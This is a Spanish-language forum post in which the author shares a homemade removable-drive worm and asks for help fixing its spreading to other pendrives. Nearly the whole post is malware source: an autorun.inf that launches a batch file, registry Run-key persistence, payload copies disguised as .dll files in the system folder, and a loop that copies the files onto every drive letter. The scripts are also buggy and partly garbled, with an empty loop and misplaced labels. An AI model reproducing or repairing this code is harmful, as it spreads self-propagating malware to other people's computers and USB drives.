Bueno ya lo he terminado o eso creo, pero creo q tengo varios fallos sobre todo a la hora de propagarse en otros pen. haber que os parece o que sugerencias teneis.
-----------------------------------------------------------------------------------------------
Los archivos son:
+autorun.inf
+data31.bat
+data32.exe (virus)
+data34.bat
------------------------------------------------------------------------------------------------
[AutoRun]
open=data31.bat
------------------------------------------------------------------------------------------------
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v
"Data" /d "data34.bat"
copy /y "data32.exe" "
%systemroot%\windows\system\data32.dll"
copy /y "autorun.inf" "
%systemroot%\windows\system\autorun.dll"
copy /y "data31.bat" "
%systemroot%\windows\system\data31.dll"
copy /y "data34.bat" "
%systemroot%\windows\system\data34.dll"
start "data34.bat"
start "data32.exe"
-------------------------------------------------------------------------------------------------
VIRUS
-------------------------------------------------------------------------------------------------
:busca
for %%_
in (a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, s, t, u, v, w, x, y, z
) do ( )
)
:copia
IF EXIST %systemroot%\windows\system\data32.dll
GOTO verifica
:verifica
:propagar
copy /y "
%systemroot%\windows\system\data32.dll" "
%%_:\data32.exe"
copy /y "
%systemroot%\windows\system\autorun.dll" "
%%_:\autorun.inf"
copy /y "
%systemroot%\windows\system\data31.dll" "
%%_:\data31.bat"
copy /y "
%systemroot%\windows\system\data34.dll" "
%%_:\data34.bat"
:espera
ping -n 100 127.0.0.1 > null
-------------------------------------------------------------------------------------------------